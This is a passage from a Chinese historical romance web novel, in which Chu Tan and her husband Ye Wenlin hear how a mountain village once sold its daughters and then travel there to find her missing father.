以前的月婆村不过是在深山里的犄角旮旯里，那里地势崎岖，土壤贫瘠，姜氏一族只有努力耕种才能活下去。
他们凭借着卖女的彩礼，过了很久的悠闲日子。
只是在姜氏女失去为不孕男子诞下婴孩的能力后，他们没了银钱来源，又不愿过原来农耕生活，待钱财耗尽，姜氏一族的风光不再，渐渐也就没落了。
不过当时住在月婆村的人不只有本地人，还有外来的百姓。
这几户人家靠着积攒下来的银钱，搬到了更便利的地方，也就是现在的月婆村，他们不沉迷唾手可得的过去，努力过日子，也就有了如今月婆村繁华的景象。
百年过去，现在月婆村里的人并不知此事，我过去几次村里，他们都只把我当成外地人。
姜盈越说越冷，她紧紧将楚檀给她的披风包住自己，“可你们知道吗？一开始让古月婆村卖女的主意就是外来人提出来的。”
“在姜氏女拥有特殊能力的消息传开后，引来不少不孕男子前来提亲，也引来，外来商户在此地居住。”
“多讽刺啊，坏人没有遭到报应，他们的后代也都活得好好的。”
“这些事姜姑娘都是如何知道的？”
叶温凛并不是想怀疑她，不过百年时间过去，事情的真相到底到底是什么，谁都不知。
“族谱。”
“我爹娘待我不好，从小他们的话我就不当真，大多数时候，他们都在咒骂月婆村的人，说如今的惨状都是他们造成的，不过在日子更不顺的时候，说辞又会变，咒骂也就更厉害了。”
“我还以为姜氏女的传闻不过是他们怨天的理由，只是后来看着那老旧的族谱，我才知道有些事是真的发生过。”
“今日跟你们说的也全是族谱里面记录的事情。”
姜盈不像村里的人，她对如今月婆村的人并无怨言，可一想到自己曾身陷囹圄，还是忍不住哭了起来。
“你别害怕，一切都过去了，”楚檀上前抱住了她，她不知如何安慰她才好，“你以后一定会过得好！比现在月婆村的人都过得好！”
“姜姑娘你放心，我身为官员绝不会坐视不理，待我将此事上报，朝廷自会给你一个公道。”
“屹国不允许私自买卖人口，你父母和罗靖都有违律法，他们跑不掉。”
“是吗？”姜盈信不过，“我就曾找过月婆村的县令，他们根本不当一回事。”
她之所以会认为楚遇能救她，不过是楚大人再三保证其品行刚正，但心底是不信朝廷官员会有所作为。
“姜姑娘放心，这里是京城，与月婆村不同。”
“是啊，”楚檀很信任叶温凛，“我夫君是临阳世子，他都这么说了，坏人定会受到惩罚。”
“要报官吗？”姜盈燃起一丝喜悦，要是真有人管，说不定她的姐妹都能逃出火坑。
“当然。”
“不过我还有一事未明，既然月婆村地处偏僻难找，那你可知我岳父是如何找到的？”
“楚大人说是他迷路了，误打误撞才找到了我们所在的月婆村。”
楚檀：“……”
楚檀对此深信不疑，倒是叶温凛还觉不对，“迷路怎么会跑到山里去？”
姜盈答不上来，可楚檀却一清二楚，她拉拉叶温凛，“我爹爹他，确实不认路。他就连去缘诏寺都出过错。”
就是路痴。
“夫君就当不知道此事，我爹爹他平时看着和气，却最不喜提及这件事。”
叶温凛：“……”<
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楚檀不想再揭老父亲的底，她向姜盈求助，“姜盈姑娘，我还有一事相求。”
“夫人请说。”
“你可否带我去找我爹爹？”
既然已经知道了爹爹在古月婆村，那她不能再等，要是姜盈能去，她就不用费劲找地方。
“这是自然。”
天夜将白，五人整夜未眠。
“青玉，你先将姜姑娘带下去安置好，别惊动府里的人。”
叶温凛洗漱一番便要去上朝，临走时他按住楚檀收拾包袱的手，“夫人，这些让下人去做，你先歇会，待退朝，我们便启程。”
“其实我一个人去就可以了。”她刚刚就在想，她是不是太麻烦他了。
之前她与他一起上路也是别无他法，如今知道了爹爹在哪，报官之后又势必会有朝廷的人前往调查，她跟着他们就不会有危险了。
“你不想我去？”
叶温凛还是那副温柔模样，不过尾音升高，似乎带着不悦。
楚檀看着他扫过来的眼神，立马就改口了，“当然想。”
“只是夫君公务繁忙，怕是不能离京。”
京城的官员没有公务是不能长时间出城的，上次能出京，不过是太后指婚，让他休浴在家。
这次他要再离京，还有什么理由呢？
“回来再处理便是。”叶温凛本想走，一听她的话，止步，“路上太危险，我不放心。”
“不是要报官吗？我跟着他们。”
“夫人报过官吗？”
“……没有。”
“那你怎知他们会立刻启程？你忍心在京城等待？”
她哪里考虑得到这些，只能另做打算，“那夫君可帮我找些得力干将来？护送我和姜姑娘……上……路……”
楚檀看着叶温凛越说越小声，她偏过头，放弃原本的主意，小声说道：“我等夫君回来。”
***
“罗靖的长姐来找过你？她说什么了？”
叶温凛一回府，就听到有人来找楚檀。
“其实也没有说什么，”楚檀一夜未睡，脑子乱的很，“她一见我很是熟稔，拉着我讲了好些闺阁之话。”
“我刚开始以为她是冲姜盈而来，没想到她……”楚檀觉得不可思议，“她竟想教我如何替你纳妾！”
“我和她明明是头一次见，她怎么这么不见外。”
叶温凛听到纳妾两字一愣，随后气得笑出声，“夫人你是如何作答？”
楚檀被他这莫名而来的笑摸不着头脑，“我还没来得及回答，荣姨就打发她走了。”
“那夫人你怎么想？”
“我怎么想？”
她能有什么想法？世子纳妾她还能管了？
“荣姨实在厉害，她只对那罗靖长姐说了一句话，就结束了。”
他问的是这个吗？
“荣姨说了什么？”
“她说我们昨晚折腾太久，我很累，需要休息。”楚檀越说越佩服，“大道至简啊，原来这么直接赶人就可以了。”
她与有荣焉，“荣姨不愧是照顾世子的人。”
叶温凛：“……”
22. 找到
这一次去月婆村，叶温凛带了不少人马，赶路这种小事就不用麻烦青鹰青玉。
楚檀和姜盈一辆马车，两人上了马车，相视一笑，双双靠着车壁睡了过去。
傍晚，马车停在河边歇脚。
“这是怎么了？”
楚檀刚挨着叶温凛坐下，他的手就伸过来了。
“什么？”
她刚睡醒，没懂他说什么。
叶温凛撩开她额间几缕头发，“夫人额头怎么有几处红印？”
她恍然大悟，“睡着的时候不小心磕到了。”
叶温凛的手继续往下在她眼角周围，“那这里？”
楚檀歪头一想，“应是勒着了。”
为了能睡着，她这一路都是蒙着黑布，不过布条松了几次，她不得不勒紧了些。
“疼吗？”叶温凛坐得近些，手指轻柔在她额间揉搓。
“不疼。”
周围的青鹰青玉对这种场面见怪不怪，但姜盈不同，她生在堕落颓靡的古月婆村，从未见过恩爱夫妻，她太过惊奇，忍不住盯着两人看。
“咳…咳咳…”
青玉瞧着这姑娘眼睛眨也不眨，咳出声想提醒他家世子，现在可是在外面，要注意分寸！
可他家世子瞧都没瞧他一眼，一心在世子妃身上。
率先收到他好意的也是他家世子妃。
楚檀猛地回过神，躲开了叶温凛的手。
她略有些尴尬的朝姜盈一笑，“姜盈姑娘，你歇息的怎么样？”
姜盈也报之一笑，“很好，王府的马车很舒适。”
比起绑她回京城的罗府马车不知好上几百倍。
叶温凛若无其事地收回手，“过了今晚，明早就要骑马去月婆村救人，趁现在，夫人和姜姑娘能休息多久就休息多久。”
“知道了。”
“好。”
这是他们一开始便商量好的，今日在马车上勉强休息半日，等明日便骑马前去。
离下次落脚的客栈，还有两个时辰，他们没歇多久继续赶路。
不过这次，叶温凛拉着楚檀上了他的马车，将青鹰青玉赶去骑马。
“夫君找我有什么事？”
该商量的事大家昨晚不是已经说好了吗？
“无事，”叶温凛瞟了眼她额头上消退得差不多的印子，“在到达客栈之前，夫人便在这休息。”
“为何？”
她在另一辆马车也能休息。
“夫人在这，我才能保证你不再出事。”
不就撞个头，算什么出事？
“没事，我又不疼，”楚檀摸了摸毫无感觉的额头，认为他把自己想的过于脆弱了，“何况青鹰青玉他们还没休息好呢。”
“夫人多余担心了，他们好着呢。”
“不行，骑马太累，你让他们回来，”楚檀很不赞同他的做法，起身要出去。
下一刻，叶温凛拦腰抱她回来，“夫人这额头要是再撞几次，怕是要让人误会了。”
“有什么好误会的？”楚檀顿时就坐在了他腿上，她背对着他，坐如针毡。
“误会本世子残暴。”
“夫君莫要开玩笑。”
他是她见过性情最温和的高门弟子，担得起温润如玉、谦谦君子之名，谁会说他残暴？
怕是连说一声坏脾气都会有人不服。
“我可没开玩笑。”
楚檀被他转过身来，只好在心里呐喊：就算自己真被撞得头破血流，也不会有谁说一声世子的不是，她确信！
不过……
她现在没时间跟他争论，只因她认为这世间最最有礼的男子，一只手握住她的手腕，一手正游走在她衣袖里！
“世子你做什么！”
楚檀真是被他的举动震惊到了，就那么眼睁睁看着也不挣扎，不过问了一句不痛不痒的话。
叶温凛也没想到自己会这样做，待回过神来，指尖已经碰到她的小臂肌肤，无奈只能硬着头皮继续摸索。
幸好一下便找到了。
“找这个。”他抽出布条，然后对她无辜一笑。
楚檀：“……”
“要是夫人再以方才的面容去见岳父，岂不是让他老人家担心？”叶温凛掰正楚檀的头，让其正对自己，再将黑布给她缠上，“夫人刚刚实在可怜。”
可怜？
他也知道自己孟浪了，待系好后，索性将她抱在怀里，强制催眠，“睡吧，等睡醒了，我们就到客栈了。”
叶温凛这一系列动作可谓是行云如流水，一点都不给她思考的时间。
事情怎么发展成这样了？
她被蒙着眼，看不见，因此耳朵更为敏感，她贴着他，听着强劲有力的心跳声，整个人都僵硬得不行。
刚刚，临阳世子是在调戏她吗？！
一想到这，她更是一动不敢不动，连呼吸都放慢了些。
渐渐，她呼吸平稳。
叶温凛才觉得自己搂着的不再是根木头。
不过还好，他这夫人一开始也没推开他，这点倒是极好。
有了叶温凛这个人肉墙，楚檀的额头倒是没再撞到，不过迷迷糊糊当中却觉身下有东西硌着她。
醒来时，楚檀已经在客栈的床上。
睡是睡够了，可内心的愧疚也是澎涌而来。
爹爹还未找到，她怎么能睡得着！
过了一晚，她的愧疚更甚，不过其中还带了些怀疑：难道世子身上有什么安眠的香吗？
与叶温凛共骑一匹的楚檀百思不得其解，不然自己怎么这般能睡？
不过她还没想出个什么来，就注意到姜盈的脸色发青。
“姜盈姑娘你可有不适？”
“我没事。”
带着姜盈上路的是青惠，“世子妃不用太担心，姜姑娘可能是很少骑马，才导致的头晕。”
“真的是这样吗？姜姑娘你有事一定要与我说。”
对自己好的人，楚檀都会回报，更何况姜盈对她有恩。
她原先拿了许多珠宝钱财给她，虽然在她百般恳求之下，姜盈才肯收下。
不过她也清楚，现在的一应开销都来自临阳王府，那这些，就不能将这当成是自己的心意。
这一路，楚檀生怕姜盈吃不好睡不好，如今她又头晕，楚檀更是不敢懈怠，常常从叶温凛怀里探出头来询问她的情况。
其殷勤程度，完全不亚于之前关心叶温凛。
这简直让姜盈受宠若惊。
还从未有人这般照顾自己。
楚檀看着姜盈神色越来越轻松
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，松了好大一口气，不过下马时，她又被叶温凛给吓到了。
他紧紧抿住嘴，像是在忍着什么。
难道是旧伤复发了？
“夫君你还好吗？”
“夫君你的旧伤是不是出血了？”
“夫君你手怎么这么冷？”
“夫君……”
楚檀围着叶温凛问东问西，她着急忙慌的探探叶温凛的额头。
世子现在可不能出事！
“没有发热，夫君你到底是哪里不舒服？”
她夫君，夫君的，叫得叶温凛差点不认识这俩个字，心里头那莫名的不舒坦也随之消散，他紧握她的手，目光缱绻，温柔更甚，“我没事。”
“你说话都没力气了，怎么会没事？”
楚檀听着叶温凛语气轻轻，更是着急，要不是在外，她真想掀开他的衣袍看看。
“还是让青玉看看。”
“不必了，我的身体我清楚，”叶温凛还真架不住楚檀这般，他赶紧提起她最关心的事，“我们先去找岳父。”
“还请姜姑娘带路。”
月婆村离古月婆村还有些距离，为了不惊动村里的人，一行人弃了马，跟在姜盈身后。
他们在一坐大山里弯弯绕绕走了许久，楚檀喘着气想，难怪之前没有打听到父亲的消息，如此封闭的地方，说是荒郊野外也不为过，谁能想到这里有人。
可这里真的住着有人。
一男孩出现，对着姜盈大喊：“阿姐！阿姐！”
他跌跌撞撞跑过来，眼泪就流了下来，“你终于回来了。”
阿姐？他就是姜盈的弟弟？
那，她的爹爹，是不是，就在里面了？
楚檀心情忐忑，甚至带着些害怕，她想走向那小屋，可又不敢走太快。
说起来她与爹爹不过两月不见，却如同过了好几年。
爹爹真的在里面吗？
直到远远见到楚父的面容，楚檀才像方才那小孩般边哭边跑，“爹爹，爹爹。”
她激动的跑向楚父，一把抱着他，“阿檀好想你。”
原本一身书生气的楚父如今像换了个模样，衣裳脏乱，脸色惨白。
“爹爹也想你。”楚父这两个月来，经历个各种生死，他不后悔踏入这泥潭，却也时常会想起他那一对儿女。
“是为父的错，让我的好女儿担心了。”楚父轻拍楚檀的头，想以此给楚檀一些安慰，也是给自己一些安慰。
“阿檀可还过得……”楚父的手一下子就停下来了，稍稍推开楚檀，望着她的头发，仿佛晴天霹雳，他不可思议问道：“你，你…的发髻怎么回事？你你你……”
屹国女子在成婚后便会将头发梳上去，楚父望着女儿妇人的发髻，嘴唇抖个不停，你了半天，硬是说不出成婚二字。
楚檀瞧着父亲马上就要暴怒的样子，有些退缩，却只能实话实说，“女儿成亲了。”
叶温凛原本是牵着楚檀，她刚刚瞧见她父亲，便松开了手，他此刻正站在他们父女旁，静静等着，见此，他才恭恭敬敬地朝楚父一拜，“小婿见过岳父。”
这一声岳父瞬间点燃了楚父的怒火，他根本就不顾此人是谁，一把将楚檀拉到身后，怒气冲冲道：“谁是你岳父！”
“你是何人”